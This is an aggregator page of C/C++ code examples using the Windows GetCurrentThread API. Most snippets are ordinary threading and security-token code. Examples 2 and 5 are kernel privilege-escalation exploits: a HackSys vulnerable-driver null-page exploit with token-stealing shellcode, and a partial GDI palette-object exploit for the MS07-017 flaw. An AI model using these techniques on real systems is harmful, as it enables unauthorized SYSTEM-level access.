• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

C++ GetCurrentThread函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中GetCurrentThread函数的典型用法代码示例。如果您正苦于以下问题:C++ GetCurrentThread函数的具体用法?C++ GetCurrentThread怎么用?C++ GetCurrentThread使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了GetCurrentThread函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: SetThreadPriority

void RTMPPublisher::SocketLoop()
{
    bool canWrite = false;

    int delayTime;
    int latencyPacketSize;

    WSANETWORKEVENTS networkEvents;

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);

    WSAEventSelect(rtmp->m_sb.sb_socket, hWriteEvent, FD_READ|FD_WRITE|FD_CLOSE);

    //Low latency mode works by delaying delayTime ms between calls to send() and only sending
    //a buffer as large as latencyPacketSize at once. This causes keyframes and other data bursts
    //to be sent over several sends instead of one large one.
    if (lowLatencyMode == LL_MODE_AUTO)
    {
        //Auto mode aims for a constant rate of whatever the stream bitrate is and segments into
        //MTU sized packets (test packet captures indicated that despite nagling being enabled,
        //the size of the send() buffer is still important for some reason). Note that delays
        //become very short at this rate, and it can take a while for the buffer to empty after
        //a keyframe.
        delayTime = 1400.0f / (dataBufferSize / 1000.0f);
        latencyPacketSize = 1460;
    }
    else if (lowLatencyMode == LL_MODE_FIXED)
    {
        //We use latencyFactor - 2 to guarantee we're always sending at a slightly higher
        //rate than the maximum expected data rate so we don't get backed up
        latencyPacketSize = dataBufferSize / (latencyFactor - 2);
        delayTime = 1000 / latencyFactor;
    }
    else
    {
        latencyPacketSize = dataBufferSize;
        delayTime = 0;
    }

    SetupSendBacklogEvent ();

    HANDLE hObjects[3];

    hObjects[0] = hWriteEvent;
    hObjects[1] = hBufferEvent;
    hObjects[2] = hSendBacklogEvent;

    for (;;)
    {
        if (bStopping && WaitForSingleObject(hSocketLoopExit, 0) != WAIT_TIMEOUT)
        {
            OSEnterMutex(hDataBufferMutex);
            if (curDataBufferLen == 0)
            {
                //OSDebugOut (TEXT("Exiting on empty buffer.\n"));
                OSLeaveMutex(hDataBufferMutex);
                break;
            }

            //OSDebugOut (TEXT("Want to exit, but %d bytes remain.\n"), curDataBufferLen);
            OSLeaveMutex(hDataBufferMutex);
        }

        int status = WaitForMultipleObjects (3, hObjects, FALSE, INFINITE);
        if (status == WAIT_ABANDONED || status == WAIT_FAILED)
        {
            Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WaitForMultipleObjects failure"));
            App->PostStopMessage();
            return;
        }

        if (status == WAIT_OBJECT_0)
        {
            //Socket event
            if (WSAEnumNetworkEvents (rtmp->m_sb.sb_socket, NULL, &networkEvents))
            {
                Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WSAEnumNetworkEvents failure, %d"), WSAGetLastError());
                App->PostStopMessage();
                return;
            }

            if (networkEvents.lNetworkEvents & FD_WRITE)
                canWrite = true;

            if (networkEvents.lNetworkEvents & FD_CLOSE)
            {
                if (bStopping)
                    Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE during shutdown, %d bytes lost, error %d"), curDataBufferLen, networkEvents.iErrorCode[FD_CLOSE_BIT]);
                else
                    Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE, error %d"), networkEvents.iErrorCode[FD_CLOSE_BIT]);
                FatalSocketShutdown ();
                return;
            }

            if (networkEvents.lNetworkEvents & FD_READ)
            {
                BYTE discard[16384];
                int ret, errorCode;
                BOOL fatalError = FALSE;

//.........这里部分代码省略.........
开发者ID:Redstorm3265,项目名称:OBS,代码行数:101,代码来源:RTMPPublisher.cpp


示例2: NullPointerDereferenceThread

DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    PVOID nullPointer = NULL;
    ULONG magicValue = 0xBAADF00D;
    PVOID nullPageBaseAddress = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Mapping Null Page\n");

        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");

        nullPointer = (PVOID)((ULONG)nullPageBaseAddress + 0x4);

        // now set the function pointer
        *(PULONG)nullPointer = (ULONG)pEopShellcode;

        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointer);
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointer);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
                        (LPVOID)&magicValue,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
开发者ID:LucaBongiorni,项目名称:HackSysExtremeVulnerableDriver,代码行数:76,代码来源:NullPointerDereference.c


示例3: SetThreadPriority

void CFolderCrawler::WorkerThread()
{
	HANDLE hWaitHandles[2];
	hWaitHandles[0] = m_hTerminationEvent;
	hWaitHandles[1] = m_hWakeEvent;
	CTGitPath workingPath;
	ULONGLONG currentTicks = 0;

	for(;;)
	{
		bool bRecursive = !!(DWORD)CRegStdDWORD(L"Software\\TortoiseGit\\RecursiveOverlay", TRUE);

		SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);

		DWORD waitResult = WaitForMultipleObjects(_countof(hWaitHandles), hWaitHandles, FALSE, INFINITE);

		// exit event/working loop if the first event (m_hTerminationEvent)
		// has been signaled or if one of the events has been abandoned
		// (i.e. ~CFolderCrawler() is being executed)
		if(m_bRun == false || waitResult == WAIT_OBJECT_0 || waitResult == WAIT_ABANDONED_0 || waitResult == WAIT_ABANDONED_0+1)
		{
			// Termination event
			break;
		}

		SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);

		// If we get here, we've been woken up by something being added to the queue.
		// However, it's important that we don't do our crawling while
		// the shell is still asking for items
		bool bFirstRunAfterWakeup = true;
		for(;;)
		{
			if (!m_bRun)
				break;
			// Any locks today?
			if (CGitStatusCache::Instance().m_bClearMemory)
			{
				CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
				CGitStatusCache::Instance().ClearCache();
				CGitStatusCache::Instance().m_bClearMemory = false;
			}
			if(m_lCrawlInhibitSet > 0)
			{
				// We're in crawl hold-off
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl hold-off\n");
				Sleep(50);
				continue;
			}
			if (bFirstRunAfterWakeup)
			{
				Sleep(20);
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl bFirstRunAfterWakeup\n");
				bFirstRunAfterWakeup = false;
				continue;
			}
			if ((m_blockReleasesAt < GetTickCount64()) && (!m_blockedPath.IsEmpty()))
			{
				CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl stop blocking path %s\n", m_blockedPath.GetWinPath());
				m_blockedPath.Reset();
			}
			CGitStatusCache::Instance().RemoveTimedoutBlocks();

			while (!m_pathsToRelease.empty())
			{
				AutoLocker lock(m_critSec);
				CTGitPath path = m_pathsToRelease.Pop();
				GitStatus::ReleasePath(path.GetWinPathString());
			}

			if (m_foldersToUpdate.empty() && m_pathsToUpdate.empty())
			{
				// Nothing left to do
				break;
			}
			currentTicks = GetTickCount64();
			if (!m_pathsToUpdate.empty())
			{
				{
					AutoLocker lock(m_critSec);

					m_bPathsAddedSinceLastCrawl = false;

					workingPath = m_pathsToUpdate.Pop();
					if ((!m_blockedPath.IsEmpty()) && (m_blockedPath.IsAncestorOf(workingPath)))
					{
						// move the path to the end of the list
						m_pathsToUpdate.Push(workingPath);
						if (m_pathsToUpdate.size() < 3)
							Sleep(50);
						continue;
					}
				}

				// don't crawl paths that are excluded
				if (!CGitStatusCache::Instance().IsPathAllowed(workingPath))
					continue;
				// check if the changed path is inside an .git folder
				CString projectroot;
				if ((workingPath.HasAdminDir(&projectroot)&&workingPath.IsDirectory()) || workingPath.IsAdminDir())
//.........这里部分代码省略.........
开发者ID:stahta01,项目名称:wxTortoiseGit,代码行数:101,代码来源:FolderCrawler.cpp


示例4: PrintCallstack

static void PrintCallstack(FILE* f, PEXCEPTION_POINTERS ex)
{
    if (!loadDbgHelp())
        return;
    const HANDLE hProcess   = GetCurrentProcess();
    const HANDLE hThread    = GetCurrentThread();
    BOOL result = pSymInitialize(
                      hProcess,
                      0,
                      TRUE
                  );
    CONTEXT             context = *(ex->ContextRecord);
    STACKFRAME64        stack= {0};
#ifdef _M_IX86
    stack.AddrPC.Offset    = context.Eip;
    stack.AddrPC.Mode      = AddrModeFlat;
    stack.AddrStack.Offset = context.Esp;
    stack.AddrStack.Mode   = AddrModeFlat;
    stack.AddrFrame.Offset = context.Ebp;
    stack.AddrFrame.Mode   = AddrModeFlat;
#else
    stack.AddrPC.Offset    = context.Rip;
    stack.AddrPC.Mode      = AddrModeFlat;
    stack.AddrStack.Offset = context.Rsp;
    stack.AddrStack.Mode   = AddrModeFlat;
    stack.AddrFrame.Offset = context.Rsp;
    stack.AddrFrame.Mode   = AddrModeFlat;
#endif
    IMAGEHLP_SYMBOL64_EXT symbol;
    symbol.SizeOfStruct  = sizeof(IMAGEHLP_SYMBOL64);
    symbol.MaxNameLength = maxnamelength;
    DWORD64 displacement   = 0;
    int beyond_main=-1; // emergency exit, see below
    for (ULONG frame = 0; ; frame++) {
        result = pStackWalk64
                 (
#ifdef _M_IX86
                     IMAGE_FILE_MACHINE_I386,
#else
                     IMAGE_FILE_MACHINE_AMD64,
#endif
                     hProcess,
                     hThread,
                     &stack,
                     &context,
                     NULL,
                     pSymFunctionTableAccess64,
                     pSymGetModuleBase64,
                     NULL
                 );
        if (!result)  // official end...
            break;
        pSymGetSymFromAddr64(hProcess, (ULONG64)stack.AddrPC.Offset, &displacement, &symbol);
        TCHAR undname[maxnamelength]= {0};
        pUnDecorateSymbolName((const TCHAR*)symbol.Name, (PTSTR)undname, (DWORD)GetArrayLength(undname), UNDNAME_COMPLETE);
        if (beyond_main>=0)
            ++beyond_main;
        if (_tcscmp(undname, _T("main"))==0)
            beyond_main=0;
        fprintf(f,
                "%lu. 0x%08I64X in ",
                frame, (ULONG64)stack.AddrPC.Offset);
        fputs((const char *)undname, f);
        fputs("\n", f);
        if (0==stack.AddrReturn.Offset || beyond_main>2) // StackWalk64() sometimes doesn't reach any end...
            break;
    }

    FreeLibrary(hLibDbgHelp);
    hLibDbgHelp=0;
}
开发者ID:barisdemiray,项目名称:cppcheck,代码行数:71,代码来源:cppcheckexecutor.cpp


示例5: main

int main(int argc, char *argv[])
{    
    SECTION_BASIC_INFORMATION SectionInfo;    
    PGDI_TABLE_ENTRY pGdiEntry;
    PLOGPALETTE pLogPal;
    HANDLE hPal;
    PVOID OriginalPalObject;
    PVOID FalsePalObject; 
       
    HANDLE hThread = GetCurrentThread();  
    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);  
    HANDLE hSection = (ULONG)0;  
    PVOID MapFile = 0;
    HANDLE hProcess = (HANDLE)0xFFFFFFFF;
    WORD Pid = GetCurrentProcessId();                 
                  
   	NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
         
    printf ("##########################################################\n");                
    printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
    printf ("#        All Windows 2000/XP before MS07-017 patch       #\n");
    printf ("##########################################################\n");   
    printf ("# coded by Lionel d'Hauenens   http://www.labo-asso.com  #\n");
    printf ("##########################################################\n\n");                                     
                                                      
    // Search handle section and mapper in virtual memory of user
    while ((DWORD)hSection<0xFFFF) 
    {
        SectionInfo.Attributes = 0;  
        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
        if (MapFile)
        {
            NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For compatibility with win2k 
            UnmapViewOfFile(MapFile); 
            MapFile = 0;
        }                
        hSection++;
    }

    if (!MapFile)
    {
       printf ("Could not found shared section !\n");
       exit(0);             
    }              

    // Create Palette
    pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);    
    pLogPal->palNumEntries = 1;
    pLogPal->palVersion = 0x300;
    hPal = (HANDLE)CreatePalette(pLogPal);  
    
    if (!hPal)
    {
       printf ("Could not create palette !\n");
       exit(0);             
    }      
    
    // Search the entry of pal object 
    OriginalPalObject = (PVOID)0;        
    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
    while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
    {
          if ( pGdiEntry->ProcessID == Pid  &&
                  pGdiEntry->nType == PAL_TYPE )
          {
              // Save original pointer
              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;                          
              break;
          }           
          pGdiEntry++;          
    }

    if (!OriginalPalObject)
    {
       printf ("Could not find entry of Pal object !\n");
       exit(0);                  
    }  
    
    // Create the false Pal object
    FalsePalObject                   = (PVOID) calloc(0x100/4,4);
    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle    
    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag
    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex 
  
    printf ("Section:\n--------\n");                                                             
    printf ("Handle: 0x%08X    Attributes: %08X    Size: 0x%08X\n\n", hSection
                                                                    , SectionInfo.Attributes
                                                                    , SectionInfo.Size.QuadPart);
    printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); 
    printf ("Address of user map: 0x%08X\n", MapFile); 
    printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);  
    printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );     
    printf ("Address of Hook(): 0x%08X\n\n", &hook);  

    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////  
    printf ("->Test...");
    flag_test = 0;            
    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); 
//.........这里部分代码省略.........
开发者ID:B-Rich,项目名称:osf_db,代码行数:101,代码来源:20940_2.c


示例6: IsAdmin

//**********************************************************************
//
// FUNCTION:  IsAdmin - This function checks the token of the
//            calling thread to see if the caller belongs to
//            the Administrators group.
//
// PARAMETERS:   none
//
// RETURN VALUE: TRUE if the caller is an administrator on the local
//            machine.  Otherwise, FALSE.
//
//**********************************************************************
BOOL IsAdmin(void)
{
    HANDLE hToken;
    DWORD  dwStatus;
    DWORD  dwAccessMask;
    DWORD  dwAccessDesired;
    DWORD  dwACLSize;
    DWORD  dwStructureSize = sizeof(PRIVILEGE_SET);
    PACL   pACL            = NULL;
    PSID   psidAdmin       = NULL;
    BOOL   bReturn         = FALSE;

    PRIVILEGE_SET   ps;
    GENERIC_MAPPING GenericMapping;

    PSECURITY_DESCRIPTOR     psdAdmin           = NULL;
    SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;

    __try {

        // AccessCheck() requires an impersonation token.
        ImpersonateSelf(SecurityImpersonation);

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
        {
            if (GetLastError() != ERROR_NO_TOKEN) __leave;

            // If the thread does not have an access token, we'll
            // examine the access token associated with the process.
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) __leave;
        }

        if (!AllocateAndInitializeSid(&SystemSidAuthority, 2,
                                      SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
                                      0, 0, 0, 0, 0, 0, &psidAdmin))
            __leave;

        psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
        if (psdAdmin == NULL) __leave;

        if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION)) __leave;

        // Compute size needed for the ACL.
        dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD);

        // Allocate memory for ACL.
        pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
        if (pACL == NULL) __leave;

        // Initialize the new ACL.
        if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2)) __leave;

        dwAccessMask = ACCESS_READ | ACCESS_WRITE;

        // Add the access-allowed ACE to the DACL.
        if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin)) __leave;

        // Set the DACL to the SD.
        if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE)) __leave;

        // AccessCheck is sensitive about what is in the SD; set
        // the group and owner.
        SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
        SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);

        if (!IsValidSecurityDescriptor(psdAdmin)) __leave;

        dwAccessDesired = ACCESS_READ;

        //
        // Initialize GenericMapping structure even though you
        // do not use generic rights.
        //
        GenericMapping.GenericRead    = ACCESS_READ;
        GenericMapping.GenericWrite   = ACCESS_WRITE;
        GenericMapping.GenericExecute = 0;
        GenericMapping.GenericAll     = ACCESS_READ | ACCESS_WRITE;

        if (!AccessCheck(psdAdmin, hToken, dwAccessDesired,
                         &GenericMapping, &ps, &dwStructureSize, &dwStatus,
                         &bReturn))
        {
            printf("AccessCheck() failed with error %lu\n", GetLastError());
            __leave;
        }

        RevertToSelf();

//.........这里部分代码省略.........
开发者ID:hansdude,项目名称:Phalanger,代码行数:101,代码来源:Installer.Bootstrapper.cpp


示例7: getStack

        virtual int getStack(int depth, Backtrace::StackFrame* frames) {
            QMutexLocker locker(&m_mutex);

            char procname[MAX_PATH];
            GetModuleFileNameA(NULL, procname, sizeof procname);

            CONTEXT context;
            memset(&context, 0, sizeof(CONTEXT));
            context.ContextFlags = CONTEXT_FULL;

            HANDLE thread = GetCurrentThread();
            bool success = GetThreadContext(thread, &context);

            if (!success) {
                return 0;
            }

            STACKFRAME frame;
            memset(&frame,0,sizeof(frame));

            frame.AddrPC.Offset = context.Eip;
            frame.AddrPC.Mode = AddrModeFlat;
            frame.AddrStack.Offset = context.Esp;
            frame.AddrStack.Mode = AddrModeFlat;
            frame.AddrFrame.Offset = context.Ebp;
            frame.AddrFrame.Mode = AddrModeFlat;

            HANDLE process = GetCurrentProcess();

            int i = 0;
            int skip = 2;

            const int SYMBUF = 512;
            char symbol_buffer[sizeof(IMAGEHLP_SYMBOL) + SYMBUF];
            char module_name_raw[MAX_PATH];

            while(StackWalk(IMAGE_FILE_MACHINE_I386,
                            process,
                            thread,
                            &frame,
                            &context,
                            0,
                            SymFunctionTableAccess,
                            SymGetModuleBase, 0)) {

                if (skip-- > 0) {
                    continue;
                }

                DWORD module_base = SymGetModuleBase(process, frame.AddrPC.Offset);

                GetModuleFileNameA((HINSTANCE)module_base, module_name_raw, MAX_PATH);

                IMAGEHLP_SYMBOL* symbol = reinterpret_cast<IMAGEHLP_SYMBOL*>(symbol_buffer);
                symbol->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL);
                symbol->MaxNameLength = SYMBUF-1;
                DWORD dummy = 0;

                if (SymGetSymFromAddr(process, frame.AddrPC.Offset, &dummy, symbol)) {
                    frames[i].function = symbol->Name;
                } else {
                    frames[i].function.clear();
                }

                frames[i].addr = reinterpret_cast<void*>(frame.AddrPC.Offset);
                frames[i].imageFile = module_name_raw;

                i++;
                if (i >= depth)
                    break;
            }
            return i;
        }
开发者ID:CPTI,项目名称:Exception,代码行数:73,代码来源:StackLoader.cpp


示例8: main

int main()
{
	_CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_DEBUG);
	PWSTR sUserSid = L"";
	HANDLE hToken = NULL;
	if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)
		|| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
	{
		if (!GetUserSidToken(hToken, &sUserSid))
		{
			printf("GetUserSid error: %d\n", GetLastError());
			return 1;
		}
		CloseHandle(hToken);
	}
	PWSTR sKeyHandle = L"";
	PWSTR sPublicKey = L"";
	PWSTR sChallenge = L"";
	PWSTR sHost = L"";
	PWSTR sPort = L"";
	PWSTR sUrl = L"";
	PWSTR sAppId = CRYSIL_APP_ID;

	std::cout << "Saved values in registry for current user" << std::endl;

	printf("UserSid: %ls\n", sUserSid);

	if (!Helper::Registry::GetRegValue(L"KeyHandle", &sKeyHandle, sUserSid))
	{
		printf("GetKeyHandle error");
		return false;
	}
	printf("KeyHandle: %ls\n", sKeyHandle);
	if (!Helper::Registry::GetRegValue(L"PublicKey", &sPublicKey, sUserSid))
	{
		printf("GetPublicKey error");
		return false;
	}
	if (!Helper::String::HexEncode(&sPublicKey))
	{
		printf("GetPublicKey error");
		return false;
	}
	printf("PublicKey: %ls\n", sPublicKey);
	if (!Helper::Registry::GetRegValue(L"Host", &sHost, sUserSid))
	{
		printf("GetHost error");
		return false;
	}
	printf("Host: %ls\n", sHost);
	if (!Helper::Registry::GetRegValue(L"Port", &sPort, sUserSid))
	{
		printf("GetPort error");
		return false;
	}
	printf("Port: %ls\n", sPort);
	if (!Helper::Registry::GetRegValue(L"URL", &sUrl, sUserSid))
	{
		printf("GetUrl error");
		return false;
	}
	printf("Url: %ls\n", sUrl);

	if (!Helper::Crypto::CreateRandomChallenge(&sChallenge))
	{
		printf("CreateRandomChallenge error");
		return false;
	}
	printf("Random challenge: %ls\n", sChallenge);	

	ConsolePinHandler pinHandler{};
	//WindowsPinHandler pinHandler{};
	//HWND hwndC = GetConsoleWindow();
	//g_hinst = GetModuleHandle(0);
	//pinHandler.setHwndOwner(hwndC);

	if (Helper::CrySIL::PerformU2FRequest(sUserSid, &pinHandler))
		printf("PerformU2FRequest: Success\n");
	else
		printf("PerformU2FRequest: Error\n");

	printf("Press any key to continue ...");
	_CrtDumpMemoryLeaks();
	getchar();
	return 0;
}
开发者ID:IAIK,项目名称:CrySIL,代码行数:86,代码来源:Test-Console.cpp


示例9: expand_userid

/*
 *  Expand a %{USERID} token
 *
 *  The %{USERID} token expands to the string representation of the
 *  user's SID.  The user account that will be used is the account
 *  corresponding to the current thread's security token.  This means
 *  that:
 *
 *  - If the current thread token has the anonymous impersonation
 *    level, the call will fail.
 *
 *  - If the current thread is impersonating a token at
 *    SecurityIdentification level the call will fail.
 *
 */
static krb5_error_code
expand_userid(krb5_context context, PTYPE param, const char *postfix,
              char **ret)
{
    int rv = EINVAL;
    HANDLE hThread = NULL;
    HANDLE hToken = NULL;
    PTOKEN_OWNER pOwner = NULL;
    DWORD len = 0;
    LPTSTR strSid = NULL;

    hThread = GetCurrentThread();

    if (!OpenThreadToken(hThread, TOKEN_QUERY,
                         FALSE, /* Open the thread token as the
                                   current thread user. */
                         &hToken)) {

        DWORD le = GetLastError();

        if (le == ERROR_NO_TOKEN) {
            HANDLE hProcess = GetCurrentProcess();

            le = 0;
            if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
                le = GetLastError();
        }

        if (le != 0) {
            k5_setmsg(context, rv, "Can't open thread token (GLE=%d)", le);
            goto cleanup;
        }
    }

    if (!GetTokenInformation(hToken, TokenOwner, NULL, 0, &len)) {
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
            k5_setmsg(context, rv,
                      "Unexpected error reading token information (GLE=%d)",
                      GetLastError());
            goto cleanup;
        }

        if (len == 0) {
            k5_setmsg(context, rv,
                      "GetTokenInformation() returned truncated buffer");
            goto cleanup;
        }

        pOwner = malloc(len);
        if (pOwner == NULL) {
            rv = ENOMEM;
            goto cleanup;
        }
    } else {
        k5_setmsg(context, rv,
                  "GetTokenInformation() returned truncated buffer");
        goto cleanup;
    }

    if (!GetTokenInformation(hToken, TokenOwner, pOwner, len, &len)) {
        k5_setmsg(context, rv,
                  "GetTokenInformation() failed.  GLE=%d", GetLastError());
        goto cleanup;
    }

    if (!ConvertSidToStringSid(pOwner->Owner, &strSid)) {
        k5_setmsg(context, rv,
                  "Can't convert SID to string.  GLE=%d", GetLastError());
        goto cleanup;
    }

    *ret = strdup(strSid);
    if (*ret == NULL) {
        rv = ENOMEM;
        goto cleanup;
    }

    rv = 0;

cleanup:
    if (hToken != NULL)
        CloseHandle(hToken);

    if (pOwner != NULL)
        free(pOwner);
//.........这里部分代码省略.........
开发者ID:Akasurde,项目名称:krb5,代码行数:101,代码来源:expand_path.c


示例10: ThreadFunc_Processes

//+ ----------------------------------------------------------------------------------------
DWORD WINAPI ThreadFunc_Processes(LPVOID lpThreadParameter)
{
	ThreadSync* pThreadSync = (ThreadSync*) lpThreadParameter;
	if (pThreadSync == NULL)
		return -1;

	HookAppReg		AppReg;
	ThreadParam*	pThreadParam = (ThreadParam*) pThreadSync->m_pThreadParam;

	HANDLE hDevice = AppReg.Register();
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;

	pThreadParam->NewInternalData(hDevice, AppReg.GetAppID());

	HANDLE hStopEvent = pThreadSync->m_hStopEvent;

	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

	IDriverRegisterInvisibleThread(hDevice, AppReg.GetAppID());

	if (!pThreadParam->AddFilters())
		return -1;

	pThreadSync->SetStartSucceed();

	HANDLE handles[3];
	handles[0] = hStopEvent;
	handles[1] = AppReg.m_hWhistleup;
	handles[2] = AppReg.m_hWFChanged;

	DWORD dwResult = WAIT_TIMEOUT;

	HDSTATE Activity;

	bool bExit = false;
	while (!bExit)
	{
		switch (dwResult)
		{
		case WAIT_OBJECT_0:
			pThreadParam->BeforeExit();
			bExit = true;
			break;

		case WAIT_TIMEOUT:
		case WAIT_OBJECT_0 + 1:
			{
				IDriverGetState(hDevice, AppReg.GetAppID(), &Activity);
				while (Activity.QUnmarkedLen)
				{
					pThreadParam->SingleEvent();
					Activity.QUnmarkedLen--;
				}
			}
			break;
		case WAIT_OBJECT_0 + 2:
			// filters changed
			pThreadParam->FiltersChanged();
			break;
		}

		if (!bExit)
			dwResult = WaitForMultipleObjects(sizeof(handles) / sizeof(handles[0]), handles, FALSE, 1000);
	}

	IDriverUnregisterInvisibleThread(pThreadParam->m_hDevice, pThreadParam->m_AppID);

	HookAppReg::UnregisterApp(pThreadParam->m_hDevice, pThreadParam->m_AppID);
	return 0;
}
开发者ID:hackshields,项目名称:antivirus,代码行数:72,代码来源:TaskThread.cpp


示例11: iaxci_prioboostbegin

int iaxci_prioboostbegin() {
    if ( !SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL)  ) {
        fprintf(stderr, "SetThreadPriority failed: %ld.\n", GetLastError());
    }
    return 0;
}
开发者ID:erdincay,项目名称:miumiu,代码行数:6,代码来源:winfuncs.c


示例12: vm_affinity_thread_get_current

vm_thread_handle vm_affinity_thread_get_current(void)
{
    return GetCurrentThread();
}
开发者ID:vinnie38170,项目名称:klImageCore,代码行数:4,代码来源:vm_affinity_win.c


示例13: PsychGetPrecisionTimerSeconds

void PsychGetPrecisionTimerSeconds(double *secs)

{
  double					ss, ticks, diff;
  static LARGE_INTEGER		counterFreq;
  LARGE_INTEGER				count;
  static double				oss=0.0f;
  static double				oldticks=0.0f;
  static double				lastSlowcheckTimeSecs = -1;
  static double				lastSlowcheckTimeTicks = -1;
  int						tick1, tick2, hangcount;
  psych_uint64				curRawticks;
  static psych_uint64		oldRawticks;
  static psych_uint64		tickWarpOffset = 0;
  
	// First time init of timeglue: Set up system for high precision timing,
	// and enable workarounds for broken systems:
  if (firstTime) {
		// Switch the system into high resolution timing mode, i.e.,
		// 1 khZ timer interrupts aka 1 msec timer resolution, for both,
		// the Sleep() command and TimeGetTime() queries. This way, our hybrid
		// sleep-waiting algorithm for PsychWaitUntilSeconds() can work with
